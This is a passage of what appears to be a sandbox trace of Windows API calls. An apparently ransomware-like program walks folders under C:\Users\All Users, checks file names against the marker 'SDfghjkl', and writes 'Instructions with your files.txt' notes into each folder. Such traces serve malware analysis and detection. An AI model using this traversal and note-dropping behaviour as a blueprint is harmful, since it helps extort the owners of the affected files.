[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.14.1033.hxn", cAlternateFileName="MSWINP~1.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.14.1033.hxn") returned 60
[0131.979] StrStrIW (lpFirst="MS.WINPROJ.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.979] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xaf766ee0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf766ee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf7d9300, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINPROJ.DEV.14.1033.hxn", cAlternateFileName="MSWINP~2.HXN")) returned 1
[0131.979] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINPROJ.DEV.14.1033.hxn") returned 64
[0131.979] StrStrIW (lpFirst="MS.WINPROJ.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.980] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x152, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.14.1033.hxn", cAlternateFileName="MSWINW~1.HXN")) returned 1
[0131.980] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.14.1033.hxn") returned 60
[0131.980] StrStrIW (lpFirst="MS.WINWORD.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.980] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0x1e67e130, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e67e130, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e6f0550, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x16a, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WINWORD.DEV.14.1033.hxn", cAlternateFileName="MSWINW~2.HXN")) returned 1
[0131.980] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\MS.WINWORD.DEV.14.1033.hxn") returned 64
[0131.980] StrStrIW (lpFirst="MS.WINWORD.DEV.14.1033.hxn", lpSrch="SDfghjkl") returned 0x0
[0131.980] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 1
[0131.980] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\nslist.hxl") returned 48
[0131.980] StrStrIW (lpFirst="nslist.hxl", lpSrch="SDfghjkl") returned 0x0
[0131.980] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2022, ftCreationTime.dwLowDateTime=0xe80ff230, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xe80ff230, ftLastAccessTime.dwHighDateTime=0x1d2dda1, ftLastWriteTime.dwLowDateTime=0xe8b8c220, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x21dc, dwReserved0=0x0, dwReserved1=0x0, cFileName="nslist.hxl", cAlternateFileName="")) returned 0
[0131.980] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Instructions with your files.txt") returned 70
[0131.980] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Microsoft Help\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\microsoft help\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.980] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.981] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.981] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.981] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.981] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.981] CloseHandle (hObject=0x10c) returned 1
[0131.981] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.981] GetProcessHeap () returned 0x810000
[0131.981] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.981] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1
[0131.981] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla") returned 30
[0131.981] GetProcessHeap () returned 0x810000
[0131.981] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.981] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\*") returned 32
[0131.981] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Mozilla\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.982] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\.") returned 32
[0131.982] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.982] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\..") returned 33
[0131.982] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4220a00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.982] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\Instructions with your files.txt") returned 63
[0131.982] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.982] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 1
[0131.982] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs") returned 35
[0131.982] GetProcessHeap () returned 0x810000
[0131.982] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x864bc8
[0131.982] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\*") returned 37
[0131.982] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0131.982] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\.") returned 37
[0131.982] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.982] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\..") returned 38
[0131.982] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb41fa8a0, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.982] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\Instructions with your files.txt") returned 68
[0131.982] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.982] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 1
[0131.982] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\maintenanceservice-install.log") returned 66
[0131.982] StrStrIW (lpFirst="maintenanceservice-install.log", lpSrch="SDfghjkl") returned 0x0
[0131.982] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb07822e0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0xa4, dwReserved0=0x0, dwReserved1=0x0, cFileName="maintenanceservice-install.log", cAlternateFileName="MAINTE~1.LOG")) returned 0
[0131.982] wnsprintfW (in: pszDest=0x864bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\Instructions with your files.txt") returned 68
[0131.982] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Mozilla\\logs\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\mozilla\\logs\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0131.983] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0131.983] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0131.984] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0131.984] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0131.984] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0131.984] CloseHandle (hObject=0x110) returned 1
[0131.984] FindClose (in: hFindFile=0x876cb8 | out: hFindFile=0x876cb8) returned 1
[0131.984] GetProcessHeap () returned 0x810000
[0131.984] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x864bc8 | out: hHeap=0x810000) returned 1
[0131.984] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xb41fa8a0, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb41fa8a0, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="logs", cAlternateFileName="")) returned 0
[0131.984] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Mozilla\\Instructions with your files.txt") returned 63
[0131.984] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Mozilla\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\mozilla\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.984] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.985] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.985] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.985] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.985] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.986] CloseHandle (hObject=0x10c) returned 1
[0131.986] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.986] GetProcessHeap () returned 0x810000
[0131.986] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
[0131.986] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1
[0131.986] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Oracle") returned 29
[0131.986] GetProcessHeap () returned 0x810000
[0131.986] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x854bc0
[0131.986] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Oracle\\*") returned 31
[0131.986] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\All Users\\Oracle\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0131.986] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Oracle\\.") returned 31
[0131.986] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0131.986] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Oracle\\..") returned 32
[0131.986] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4220a00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 1
[0131.986] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Oracle\\Instructions with your files.txt") returned 62
[0131.986] StrStrIW (lpFirst="Instructions with your files.txt", lpSrch="SDfghjkl") returned 0x0
[0131.986] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb4220a00, ftCreationTime.dwHighDateTime=0x1d5e184, ftLastAccessTime.dwLowDateTime=0xb4220a00, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0xb4220a00, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0xb1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Instructions with your files.txt", cAlternateFileName="INSTRU~1.TXT")) returned 0
[0131.986] wnsprintfW (in: pszDest=0x854bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\All Users\\Oracle\\Instructions with your files.txt") returned 62
[0131.986] CreateFileW (lpFileName="\\\\?\\C:\\Users\\All Users\\Oracle\\Instructions with your files.txt" (normalized: "c:\\users\\all users\\oracle\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0131.986] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0131.987] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0131.988] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0131.988] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0131.988] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0131.988] CloseHandle (hObject=0x10c) returned 1
[0131.988] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0131.988] GetProcessHeap () returned 0x810000
[0131.988] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x854bc0 | out: hHeap=0x810000) returned 1
